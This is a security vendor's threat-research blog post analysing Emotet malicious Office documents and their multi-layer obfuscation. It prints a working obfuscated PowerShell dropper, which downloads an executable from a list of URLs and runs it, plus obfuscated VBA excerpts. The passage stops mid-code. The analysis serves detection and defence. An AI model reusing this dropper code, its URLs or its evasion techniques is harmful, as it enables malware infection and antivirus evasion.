Quantify the value of Netskope One SSE – Get the 2024 Forrester Total Economic Impact™ study

close
close
  • Why Netskope chevron

    Changing the way networking and security work together.

  • Our Customers chevron

    Netskope serves more than 3,400 customers worldwide including more than 30 of the Fortune 100

  • Our Partners chevron

    We partner with security leaders to help you secure your journey to the cloud.

A Leader in SSE. Now a Leader in Single-Vendor SASE.

Learn why Netskope debuted as a leader in the 2024 Gartner® Magic Quadrant™️ for Single-Vendor Secure Access Service Edge

Get the report
Customer Visionary Spotlights

Read how innovative customers are successfully navigating today’s changing networking & security landscape through the Netskope One platform.

Get the eBook
Customer Visionary Spotlights
Netskope’s partner-centric go-to-market strategy enables our partners to maximize their growth and profitability while transforming enterprise security.

Learn about Netskope Partners
Group of diverse young professionals smiling
Your Network of Tomorrow

Plan your path toward a faster, more secure, and more resilient network designed for the applications and users that you support.

Get the white paper
Your Network of Tomorrow
Netskope Cloud Exchange

The Netskope Cloud Exchange (CE) provides customers with powerful integration tools to leverage investments across their security posture.

Learn about Cloud Exchange
Aerial view of a city
  • Security Service Edge chevron

    Protect against advanced and cloud-enabled threats and safeguard data across all vectors.

  • SD-WAN chevron

    Confidently provide secure, high-performance access to every remote user, device, site, and cloud.

  • Secure Access Service Edge chevron

    Netskope One SASE provides a cloud-native, fully-converged and single-vendor SASE solution.

The platform of the future is Netskope

Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG), and Private Access for ZTNA built natively into a single solution to help every business on its journey to Secure Access Service Edge (SASE) architecture.

Go to Products Overview
Netskope video
Next Gen SASE Branch is hybrid — connected, secured, and automated

Netskope Next Gen SASE Branch converges Context-Aware SASE Fabric, Zero-Trust Hybrid Security, and SkopeAI-powered Cloud Orchestrator into a unified cloud offering, ushering in a fully modernized branch experience for the borderless enterprise.

Learn about Next Gen SASE Branch
People at the open space office
SASE Architecture For Dummies

Get your complimentary copy of the only guide to SASE design you’ll ever need.

Get the eBook
SASE Architecture For Dummies eBook
Make the move to market-leading cloud security services with minimal latency and high reliability.

Learn about NewEdge
Lighted highway through mountainside switchbacks
Safely enable the use of generative AI applications with application access control, real-time user coaching, and best-in-class data protection.

Learn how we secure generative AI use
Safely Enable ChatGPT and Generative AI
Zero trust solutions for SSE and SASE deployments

Learn about Zero Trust
Boat driving through open sea
Netskope achieves FedRAMP High Authorization

Choose Netskope GovCloud to accelerate your agency’s transformation.

Learn about Netskope GovCloud
Netskope GovCloud
  • Resources chevron

    Learn more about how Netskope can help you secure your journey to the cloud.

  • Blog chevron

    Learn how Netskope enables security and networking transformation through secure access service edge (SASE)

  • Events and Workshops chevron

    Stay ahead of the latest security trends and connect with your peers.

  • Security Defined chevron

    Everything you need to know in our cybersecurity encyclopedia.

Security Visionaries Podcast

2025 Predictions
In this episode of Security Visionaries, we're joined by Kiersten Todt, President at Wondros and former Chief of Staff for the Cybersecurity and Infrastructure Security Agency (CISA) to discuss predictions for 2025 and beyond.

Play the podcast Browse all podcasts
2025 Predictions
Latest Blogs

Read how Netskope can enable the Zero Trust and SASE journey through secure access service edge (SASE) capabilities.

Read the blog
Sunrise and cloudy sky
SASE Week 2024 On-Demand

Learn how to navigate the latest advancements in SASE and zero trust and explore how these frameworks are adapting to address cybersecurity and infrastructure challenges

Explore sessions
SASE Week 2024
What is SASE?

Learn about the future convergence of networking and security tools in today’s cloud dominant business model.

Learn about SASE
  • Company chevron

    We help you stay ahead of cloud, data, and network security challenges.

  • Careers chevron

    Join Netskope's 3,000+ amazing team members building the industry’s leading cloud-native security platform.

  • Customer Solutions chevron

    We are here for you and with you every step of the way, ensuring your success with Netskope.

  • Training and Accreditations chevron

    Netskope training will help you become a cloud security expert.

Supporting sustainability through data security

Netskope is proud to participate in Vision 2045: an initiative aimed to raise awareness on private industry’s role in sustainability.

Find out more
Supporting Sustainability Through Data Security
Help shape the future of cloud security

At Netskope, founders and leaders work shoulder-to-shoulder with their colleagues, even the most renowned experts check their egos at the door, and the best ideas win.

Join the team
Careers at Netskope
Netskope dedicated service and support professionals will ensure you successful deploy and experience the full value of our platform.

Go to Customer Solutions
Netskope Professional Services
Secure your digital transformation journey and make the most of your cloud, web, and private applications with Netskope training.

Learn about Training and Certifications
Group of young professionals working

You Can Run, But You Can’t Hide: Detecting Malicious Office Documents

Oct 08 2020

Summary

Malicious Microsoft Office documents are a popular vehicle for malware distribution. Malware families such as Emotet, IcedID, and Dridex use Office documents as their primary distribution mechanism. Several recent Emotet attacks used a novel approach to sending email baits and hosted the malicious documents in cloud apps to increase their success.  

At Netskope, we apply a hybrid approach to malicious Office document detection that leverages a combination of heuristics and supervised machine learning to identify malicious code embedded in documents. From August 1st through September 23rd, Netskope’s Advanced Threat platform detected downloads of multiple zero-day Emotet samples distributed as Office document files targeting multiple Netskope customers. The samples revealed a trend of increasingly advanced obfuscation techniques being used to evade signature-based threat detection. This blog post describes the obfuscation techniques used in those samples, the details of which are listed in the IOC section at the end of this post.

Multi-layered obfuscation

Emotet Office document samples are typically Microsoft Excel spreadsheets or Microsoft Word documents that use WMI (Windows Management Instrumentation) and PowerShell to connect to their C&C servers and download their next stage payloads, which have included TrickBot, QBot, and Ryuk. In this section, we explain how the four Emoted samples listed in the IOC section hide their usage of these windows utilities by obfuscating their VBA code in multiple layers. Multi-layered obfuscation is a tool used by attackers to generate new Emotet documents that evade detection by signature-based AV software. We will use example code extracted from the sample e9afe010343209a2a0f2eb5ec56cdacc throughout this post.

The following sections describe three obfuscation techniques used in these samples:

  • Constructing a PowerShell script at runtime
  • Constructing WMI namespaces at runtime
  • VBA logic obfuscation

Constructing a PowerShell script at runtime

Each of the samples hides the fact that it includes a malicious PowerShell script by constructing the script from an obfuscated string at runtime. The VBA code uses the InlineShapes object to construct the script as follows. The local variable Lauos9455c_0jekm is assigned a value extracted from the  AlternativeText property of an image embedded in the document. The screenshot below shows this code in the debugger, including a preview of the AlternativeText which begins 62378623.

Screenshot showing this code in the debugger, which includes a preview of the AlternativeText which begins 62378623.

The following screenshot shows a larger snippet of the AlternativeText, which is the encoded PowerShell script.

Screenshot showing a larger snippet of the AlternativeText, which is the encoded PowerShell script.

At runtime, the alternative text is decoded to the PowerShell script below:

$Qky_zcr=('Oj'+('ba'+'44')+'1');
&('new'+'-item') $enV:usERprofILE\ix_U0eE\Da3Ipfv\ -itemtype DirECtory;
[Net.ServicePointManager]::"SEcUrit`y`pRotO`CoL" = (('tls12'+','+' ')+'tl'+'s'+'11'+(','+' tls'));
$P4d5bdi = (('Av'+'b')+('jjxx'+'_')+'b');
$Nldikqi=('E'+('2p'+'j7'+'jg'));
$Cf_yl7r=$env:userprofile+(('{0}Ix_'+('u0'+'ee')+'{0}Da3i'+'pf'+'v{0'+'}') -f[char]92)+$P4d5bdi+('.'+('ex'+'e'));
$Zzddnnl=('F'+'5d'+('l'+'o_y'));
$X474fy2=&('n'+'ew-obje'+'ct') NeT.webcLiENt;
$Qa9w58w=(('htt'+'p://'+'rese')+('ller-'+'de'+'m')+'o-'+'we'+'bs'+'i'+'te'+'.c'+'o'+'m/'+('di'+'scus')+('s'+'ion/qWWf'+'8F')+('S'+'/*'+'htt')+('ps'+'://w')+'ww'+('.m'+'o'+'ckdumps.c')+'om'+'/'+('t'+'est/'+'Z2pJ/*'+'h')+'tt'+('ps:'+'/')+('/t'+'wi')+('s'+'te')+('rp'+'ri')+('nt'+'.')+('co'+'m'+'/chro')+('me'+'the')+('me/V'+'cr'+'/*')+('h'+'tt')+('p://'+'s')+'im'+('u'+'la')+('tio'+'ns.or'+'g')+'/'+('rw_c'+'om')+('mo'+'n/'+'Kf')+'X2'+('MW/*htt'+'p:/'+'/p'+'la')+'n'+'o'+('s'+'des'+'audese'+'mc')+'a'+'re'+'nc'+'ia'+'.'+'co'+('m/'+'erros/')+'J'+('Ho'+'q/*ht'+'tp')+'s:'+('//viaje'+'-a')+('c'+'hina.')+'c'+'om'+('/wp'+'-')+('ad'+'mi'+'n/A1O8t')+'L'+('/'+'*ht')+('tps'+':/')+('/ce'+'ar')+('acul'+'tura'+'l'+'.'+'com.b')+('r/'+'t')+'u'+('r'+'is'+'mo/oy/'))."SpL`iT"([char]42);
$Y6tgzl_=('Un'+('w0m3'+'1'));
foreach($Wken8ig in $Qa9w58w){try{$X474fy2."d`ownLoadfi`Le"($Wken8ig, $Cf_yl7r);
$Ccx080r=(('Ad'+'bqm8')+'b');
If ((&('G'+'et-'+'Item') $Cf_yl7r)."lE`NgTH" -ge 23800) {&('In'+'voke'+'-Item')($Cf_yl7r);
$Tla1_sz=(('N'+'k_3m')+'yp');
Break;
$Ihmn14_=('J'+'f'+('wk'+'uj8'))}}catch{}}$K7wqzcd=('Y'+('joyro'+'y'))

When executed, the script will download the next stage payload from the Internet using the WebClient Class of .Net Framework and execute it using Invoke-Item. The URLs from which it downloads the payloads are also obfuscated, referred to by the $Qa9w58w variable.

Constructing WMI namespaces at runtime

The Emotet samples execute the obfuscated PowerShell scripts using the winmgmt WMI service. To hide the fact that it uses WMI, the sample e9afe010343209a2a0f2eb5ec56cdacc constructs the WMI prefix from the obfuscated string beginning 62378 in the screenshot below.

Screenshot showing obfuscated PowerShell script sample, hiding the fact that it uses WMI.

After execution, this string is decoded to winmgmts:win32_Process as shown in the following screenshot.

Screenshot showing string decoded to winmgmts:win32_Process

Next, the VBA script uses the winmgmts:win32_Process class to execute the PowerShell script. 

VBA logic obfuscation

So far, we have illustrated how the VBA code reconstructs and executes an obfuscated PowerShell script at runtime using WMI. You may have also noticed in the screenshots that the VBA script itself is obfuscated. Each of these samples includes VBA logic obfuscation, which complicates the code to make analysis more difficult. One of the techniques used declares unused variables, redundant function calls, and multiple loops to hide the true function of the code. The following function G__1rwyai__jm7o1 contains 130 lines of code, with only three lines that provide any actual functionality.  Those lines are highlighted in red. The rest of the code acts as a no-op.

Function G__1rwyai__jm7o1(Muso_es0hyn6noj)
On Error Resume Next
Set NBJKS = Languages
IdRWRqkldA = Mid _
((Ikf58e3q9ip7zwotaz + Ssvt4yiusol), 232, 2)
WBHjwhzz = Mid _
((I4pd7b4xle7y0w + R5iuan37o22ng), 127, 2)
lqoNo = Mid _
((Pkbw5ddktssib1vx + Ohov2j5lbu8anezw01), 230, 1)
lizKwNK = Mid _
((Vcesgnk2c3lcl25gg + C6bhk3uhkgn5xd_24), 43, 2)
pFiWhmDdQ = Mid _
((Lziiqt3t1rwjt0s57 + Vw3n00denjficu902r), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Wpsq3ccwaxpl4he + Fdd1jelftnrpblvhbj), 61, 2)
BJTsW = Mid _
((Mlfak8nds09 + B0x27y2l2dm9o), 83, 1)
ZowKPs = Mid _
((Quzchktgywbd458 + Vhvaqqpvzuk), 226, 1)
hTwmLzb = Mid _
((Hn0iw1j4pp2y56laz4 + Yo1kfmofhfdny_v8k), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Vrdudxoq9hvfp78y + Ouc57iucylcdy), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
Qxkjmji8kru6j6qg = CleanString(Muso_es0hyn6noj)
Set NBJKS = Languages
IdRWRqkldA = Mid _
((C_iv4t8cj873ulf + Y9yg8d127bzs), 232, 2)
WBHjwhzz = Mid _
((Osri3jj1bmue + Qbnzw5l5bck8ya), 127, 2)
lqoNo = Mid _
((Mz25p71ppu4b7 + Xwecpryohq7hot), 230, 1)
lizKwNK = Mid _
((Eldj_jnv1zx8x0 + V3plfrg5jtwd), 43, 2)
pFiWhmDdQ = Mid _
((I0irg_ii148itbo + Uvapbxd3co0_r6), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Jg6j3qf1y19d_tcw + Uqr9wyrz6qo4aj), 61, 2)
BJTsW = Mid _
((Wbtcy3w9x6n1dtdj + Utgbo43sov9), 83, 1)
ZowKPs = Mid _
((T9xrgi0__9yhs5di0n + Thobsc1ri3uk), 226, 1)
hTwmLzb = Mid _
((R9792j8kfka6 + Ztu1uuaqf4n7eor21), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Lxstv9grzr6w + Jhxch9tiak2tftbw6q), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
O59swm8t67fn_x = Split(Qxkjmji8kru6j6qg, "62378")
Set NBJKS = Languages
IdRWRqkldA = Mid _
((Ng1idf5vqshp + Atjmbgzhzbsh), 232, 2)
WBHjwhzz = Mid _
((Hywah732l6v_2yhzf + Dv0eg7xhmy95eiaj), 127, 2)
lqoNo = Mid _
((D_pllxq1zznltssul + Q6gr1o_td5r1n0), 230, 1)
lizKwNK = Mid _
((Ub11p59soshj85 + Kk56nozykbm3), 43, 2)
pFiWhmDdQ = Mid _
((Q